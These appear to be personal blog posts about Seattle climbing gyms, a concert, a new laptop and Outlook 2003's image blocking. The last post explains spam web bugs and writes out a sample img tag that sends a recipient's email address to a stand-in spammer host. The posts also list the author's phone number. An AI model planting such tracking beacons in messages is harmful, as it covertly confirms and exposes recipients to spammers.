After tonight, Mira and I have experienced all three Seattle (area) climbing gyms: Vertical World Seattle and Redmond, and Stone Gardens. And the winner is: Vertical World Seattle for it's size and variety of top rope routes. Second place goes to Stone Gardens in Ballard (where we went tonight) which had some very fun and interesting climbs, but devotes over half the space to bouldering. Finally, VW Redmond was okay, but last in my books because of it's smaller size and short, more cluttered routes. P.S. My new, for real, phone number is 206-618-2575.

Just got back from a show at the Showbox (in my temp. housing neighbourhood, downtown) with Matt, Mira and friends. It wasn't a band, rather, all the acts were guys just spinning records. Last night, we checked out the Vertical World climbing gym in Seattle. A week or two ago, we visited their Redmond location and found it a bit lacking -- my main complaint was that the routes were not very long and felt cluttered and hard to follow. VW Seattle was better but just as busy on a weeknight. Also, a day pass costs $16 (!) Getting there was a real ordeal. I wanted to avoid messing around on the bus for an hour or more to get myself all the way out to their location so I grabbed a taxi near my house with about 20 minutes remaining before I had promised to meet Mira. We then drove around the city for an hour looking for the address! The cab driver just didn't know where he was going and didn't want to call for directions. Eventually I gave up on him and just got out without paying. This left me in the middle of nowhere and very late. Another, much shorter, cab ride later I finally arrived. The trip only cost me $5 in fares, but an hour of quality climbing time. Next time I'll print off mappoint directions and hand them to the driver.

So my new computer came today and I had it shipped to work because probably no one would be home during the day to sign for it. I know that I'm an adult now because of the way I acted when it arrived. My new toy sat there in it's box all day long while I resisted the urge to tear the box open and have a little christmas morning right there on my office floor. Even my office mate said something like, "Dude, aren't you going to even open it?" No. I continued to work, attended meetings and the like, and waited patiently until 6 o'clock, then took the box under my arm and rode the bus home, even stopping for a burrito on the way. How does my new D400 compare to my C400? Faster proc, faster disk, faster RAM, BUT it's slightly bigger and heavier. Same price ($1300), refurbished (you can't tell the difference) from http://outlet.dell.com. Jennifer will be the new owner of my old computer as soon as she gets the chance to come pick it up.

I finally coughed up the $40 bucks and paid for another year of Radio. This means no more blogger ads, and Google("John Cormie", IAmFeelingLucky) will take you to the right place. You should be redirected to operator<< momentarily.

Update: Scratch that.

Matt and commenters were recently talking about the new features of MS Outlook 2003. I just got the upgrade at work. I agree with Matt that the best new feature is the translucent fading in of the first few lines of new messages. This way you don't need to context-switch in order to decide whether an incoming message needs your attention. Today I noticed another great feature. Outlook does not automatically load images in HTML mail, but can do so with the click of a button. With previous versions of Outlook, I installed a special plugin to block render HTML messages in plain text mode. One of the reasons is that if you allow your mail reader to automatically load images, it allows spammers to confirm that an email account is active. Here's how it works: Say a spammer has a database of a million email addresses, some of which are active, and some stale or abandoned. The first time around, he is going to send his penis enlargement spam to all million of them. Each message will contain an html <img> tag pointing at an image on my webserver. But the <img> src will not be static, rather it will have the message recipient's email address embedded in it. For example: <img src="http://spammer.com/enlarge.jpg?sucker=jdcormie@notreal.com"> Next, he configures hiswebserver to serve the same image regardless of the url's "sucker=" suffix. In those cases where the account is active, that is a real person is reading messages on the other end, and that person's email software automatically loads embedded images, their email address will appear in the spammer's webserver access logs. So the next time around, he can remove the dead email addresses from his list, and only target confirmed live addresses.